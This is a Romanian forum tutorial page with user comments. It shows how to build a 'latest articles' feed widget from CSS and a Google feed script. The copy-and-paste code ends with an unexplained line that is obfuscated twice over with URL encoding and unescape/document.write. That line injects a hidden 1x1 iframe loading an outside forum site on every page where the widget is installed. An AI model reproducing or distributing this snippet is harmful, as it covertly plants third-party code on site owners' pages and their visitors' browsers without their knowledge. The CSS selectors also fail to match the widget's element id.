Top subiecte apreciate

Optiuni experimentale
  • Foloseste AJAX in formulare ori de cate ori este posibil

Navigare rapidă

Ultimele subiecte
» Bulletin ipb theme
Scris de Ishkq Mier 18 Ian - 20:28
» Serie Tutoriale CSS
Scris de Hachiy Dum 15 Ian - 16:59
» Wireless ipb theme [punBB]
Scris de vi01239984564 Mar 10 Ian - 11:50
» Summer v1.1 theme
Scris de vi01239984564 Mar 10 Ian - 9:57
Cuvinte-cheie

banner  radio  edit  menu  html  meniu  Metin2  reclama  navigare  ultimele  Statistici  drop  animate  avatar  subforumuri  cautare  profil  tema  phpBB2  subiecte  legenda  tutorial  Bara  punbb  chenar  Mesaje  

Ultimele Articole(JavaScript)


Salut, astazi am sa va explic cum sa va creeati propriul cod pentru ultimele articole, afisate pe forumul dvs
DEMO



http://www.extrem-tutorials.com/h71-ultimele-articole
TUTORIAL



1. Pentru inceput, dati click dreapta pe Desktop
2. Alegeti New=>Text document
3. Copiati codul de mai jos in el folosind Copy si Paste

Codul necesar:

Cod:
<style type="text/css">
#articles {
display: block !important;
font-size: 10px !important;
font-family: Arial !important;
}
#articles a {
display: block !important;
text-decoration: none !important;
font-weight: bold !important;
font-size: 12px !important;
}
#articles a:hover {
display: block !important;
text-decoration: none !important;
}
</style><div id="articole">
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load("jquery", "1.3.2");
google.load("feeds", "1");
function inicio() {
var feedControl = new google.feeds.FeedControl();
feedControl.addFeed("LINK FORUM/feed", "<a href='LINK FORUM'><img src='LOGO FORUM' height='30' border='0'/></a>");
feedControl.draw(document.getElementById("contenedor"));
}
google.setOnLoadCallback(inicio);
</script><div id="contenedor" ></div></div>
<script language=JavaScript>m='%3Cscript%20language%3DJavaScript%3Em%3D%27%253Ciframe%2520src%253D%2522http%253A//extrem-tutorials.online-talk.net/%2522%2520width%253D%25221%2522%2520height%253D%25221%2522%2520style%253D%2522visibility%253A%2520hidden%253B%2522%253E%253C/iframe%253E%27%3Bd%3Dunescape%28m%29%3Bdocument.write%28d%29%3B%3C/script%3E';d=unescape(m);document.write(d);</script>

4. Inlocuiti "LINK FORUM" cu linkul forumului dvs. & ''LOGO FORUM'' cu logo-ul forumului dvs.
5. Dupa ce ati copiat codul si ati inlocuit linkurile mergeti la file>Save as si salvati cu numele: articole.js
6. Acum trebuie sa-l uploadati pe un host, de exemplu: http://pmsc.free.fr/J04/upload.php
(Apasati pe choose file, selectati fisierul din pc si dati ok, apoi apasati pe heberger)
7. Site-ul va va oferi un link pe care il inlocuiti in codul de mai jos

Cod:
<script language="javascript" src="Link-ul Documentului js"></script>

Tutorial realizat de The Unique
Enjoy! :scoate limba:

Comentariile utilizatorilor
Vizitator
la data de Dum 1 Ian - 2:18
Vizitato Vizitator
Conectat
Şi unde trebuie pus? Tutorialul este incomplet. :|
Membru dedicat
la data de Vin 17 Feb - 16:10
Keir Membru dedicat
Conectat
Topic mutat în secţiunea corespunzătoare!
Membru dedicat
la data de Dum 19 Feb - 11:01
mr.franta Membru dedicat
Conectat
previzualizarea nu merge
Membru ET
la data de Dum 26 Feb - 9:21
Capone Membru ET
Conectat
Mie imi merge scriptul trebuie doar sa il hostati pe un site care suporta js